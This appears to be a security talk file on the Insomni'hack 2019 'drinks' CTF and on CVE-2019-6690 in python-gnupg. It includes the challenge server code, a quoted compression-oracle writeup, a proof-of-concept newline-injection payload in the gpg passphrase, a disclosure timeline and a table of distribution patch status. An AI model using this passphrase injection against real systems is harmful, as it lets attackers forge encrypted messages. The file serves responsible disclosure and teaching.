4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / talk-hackeriet-ctf-and-python-gnupg.org ORG
* We played "drinks" CTF at Hackeriet in Jan 2019 

From Insomni'hack teaser 2019

https://ctftime.org/task/7458

#+BEGIN_SRC text
Use this API to gift drink vouchers to yourself or your friends!

http://drinks.teaser.insomnihack.ch

http://146.148.126.185 <- 2nd instance if the first one is too slow

Vouchers are encrypted and you can only redeem them if you know the passphrase.

Because it is important to stay hydrated, here is the passphrase for water: WATER_2019.

Beers are for l33t h4x0rs only.
#+END_SRC

* drinks: server.py
#+BEGIN_SRC python
from flask import Flask,request,abort
import gnupg
import time
import json
app = Flask(__name__)
gpg = gnupg.GPG(gnupghome="/tmp/gpg", verbose=True, )

couponCodes = {
    "water": "WATER_2019",
    "beer" : "█████████████████████████████████" # REDACTED
}

@app.route("/generateEncryptedVoucher", methods=['POST'])
def generateEncryptedVoucher():

    content = request.json
    (recipientName,drink) = (content['recipientName'],content['drink'])

    encryptedVoucher = str(gpg.encrypt(
        "%s||%s" % (recipientName,couponCodes[drink]),
        recipients  = None,
        symmetric   = True,
        passphrase  = couponCodes[drink]
    )).replace("PGP MESSAGE","DRINK VOUCHER")
    return encryptedVoucher

@app.route("/redeemEncryptedVoucher", methods=['POST'])
def redeemEncryptedVoucher():

    content = request.json
    (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])

    decryptedVoucher = str(gpg.decrypt(
        encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
        passphrase = passphrase
    ))

    print(json.dumps(decryptedVoucher))

    (recipientName,couponCode) = decryptedVoucher.split("||")

    if couponCode == couponCodes["water"]:
        return "Here is some fresh water for %s\n" % recipientName
    elif couponCode == couponCodes["beer"]:
        return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode)
    else:
        abort(500)

if __name__ == "__main__":
    app.run(host='0.0.0.0')
#+END_SRC

* drinks: coupon codes
#+BEGIN_SRC python
couponCodes = {
    "water": "WATER_2019",
    "beer" : "█████████████████████████████████" # REDACTED
}
#+END_SRC

* drinks: issuing voucher

#+BEGIN_SRC python
@app.route("/generateEncryptedVoucher", methods=['POST'])
def generateEncryptedVoucher():

    content = request.json
    (recipientName,drink) = (content['recipientName'],content['drink'])

    encryptedVoucher = str(gpg.encrypt(
        "%s||%s" % (recipientName,couponCodes[drink]),
        recipients  = None,
        symmetric   = True,
        passphrase  = couponCodes[drink]
    )).replace("PGP MESSAGE","DRINK VOUCHER")
    return encryptedVoucher
#+END_SRC

* drinks: claiming voucher

#+BEGIN_SRC python
@app.route("/redeemEncryptedVoucher", methods=['POST'])
def redeemEncryptedVoucher():

    content = request.json
    (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])

    decryptedVoucher = str(gpg.decrypt(
        encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
        passphrase = passphrase
    ))

    print(json.dumps(decryptedVoucher))

    (recipientName,couponCode) = decryptedVoucher.split("||")

    if couponCode == couponCodes["water"]:
        return "Here is some fresh water for %s\n" % recipientName
    elif couponCode == couponCodes["beer"]:
        return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode)
    else:
        abort(500)


#+END_SRC

* We didn't succeed in getting the flag.
From GNU-E-Ducks writeup: https://ctftime.org/writeup/12927

  ".. pgp compresses the message before encrypting it. This was the eureka
   moment, and I realized the if the recipientName we supply to
   generateEncryptedVoucher was similar to the coupon code for the drink, the
   length of the drink voucher would be less than if they were disimilar. Thus
   we have an oracle which leaks information about the rest of the plaintext!"

  For example

  #+BEGIN_SRC python
    len(generateEncryptedVoucher('', 'water')) == 179
  #+END_SRC

      and
  #+BEGIN_SRC python
    len(generateEncryptedVoucher('WATER_2019', 'water')) == 179
  #+END_SRC  

  Since our plaintext is WATER_2019||WATER_2019, the common strings are compressed.

  The solution is to start with an prefix and check the length of ciphertext of
  the prefix appended with each character in the alphabet. If the length is less
  than the others, it is considered a candidate in the next round. In practice,
  some manual intervention is required to eliminate unlikely prefixes, such as
  G1MME________ in favor of more likely prefixes such as G1MME_B33R_PL. For
  example, I left the algorithm to run and this is what it decided the flag was:
  G1MME_B33R_PLZ_1MME_B33RY_TH1RSTY, even though the correct flag is
  G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY

* But we found something else: gpg --symmetric --passphrase-fd 0
The code uses python-gnupg, which use call gpg on the command line. Since we can
supply a passphrase as input, we tried to send in some control chars like \n

To supply the passphrase to gpg for decryption, python-gnupg sends it as the
first line on stdin to the gpg process. And there is no validation of allowed
characters in the passphrase.

All interactions with gpg happens over a system shell, for the gpg libraries in
many languages.

python-gnupg 0.4.3:
#+BEGIN_SRC python
cmd = [self.gpgbinary, '--status-fd', '2', '--no-tty', '--no-verbose', ... ]

result = Popen(cmd, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE, startupinfo=si)
#+END_SRC

https://bitbucket.org/vinay.sajip/python-gnupg/src/e0f2692d6539aca706b63dba22d900d2c70d59f8/gnupg.py#lines-885

* normal usage: encrypt
#+BEGIN_SRC shell
echo -e "passphrase\nMY_SECRET_STRING" | \
  gpg --symmetric  --batch --pinentry-mode loopback --passphrase-fd 0 | \
  > /tmp/encrypted.gpg
#+END_SRC

* normal usage: decrypt
#+BEGIN_SRC shell
echo -e "passphrase\n$(cat /tmp/encrypted.gpg)" | \
  gpg --decrypt --batch --pinentry-mode loopback --passphrase-fd 0
#+END_SRC

* PoC
#+BEGIN_SRC python 
  import gnupg, sys

  def encrypt_data(password):
      return str(gpg.encrypt("expected message", passphrase=password, 
                             symmetric=True, recipients=False))

  gpg = gnupg.GPG(gnupghome="/tmp/gpg")
  in_password = sys.stdin.read()

  print(encrypt_data(in_password))
#+END_SRC

#+BEGIN_SRC shell :results output
echo -e "p4ssw0rd\n!MALICIOUS MESSAGE!" \
    | ./vulnerable.py > /tmp/msg.gpg

gpg -d --pinentry-mode loopback --passphrase p4ssw0rd /tmp/msg.gpg
#+END_SRC

* CVE-2019-6690

https://blog.hackeriet.no/cve-2019-6690-python-gnupg-vulnerability/

Thx to the python-gnupg maintainer (@vsajip) for releasing a fixed version very
fast. (2 days)

** 2019-01-19: Discovered vuln in 0.4.3
** 2019-01-22: Maintainer notified
** 2019-01-24: Disclosed, maintainer releases0.4.4


* python-gnupg: distribution patch status

 |-----------------+------------+--------------------------
 | distro          |    patched | version                
 |-----------------+------------+--------------------------
 | NixOS           | 2019-01-25 | 0.4.4                  
 | SUSE: Leap      | 2019-02-07 | 0.4.4-lp150.2.6.1      
 | Debian: Jessie  | 2019-02-14 | 0.3.6-1+deb8u1         
 | Mageia          | 2019-03-07 | 0.4.4-1.mga6           
 | Ubuntu: Bionic  | 2019-04-30 | 0.4.1-1ubuntu1.18.04.1 
 | Debian: Stretch |  not fixed | not fixed  
 | Gentoo          |          ? | ? 
 |-----------------+------------+--------------------------

https://advisories.mageia.org/MGASA-2019-0105.html
https://security-tracker.debian.org/tracker/CVE-2019-6690
https://www.suse.com/security/cve/CVE-2019-6690/
https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-6690.html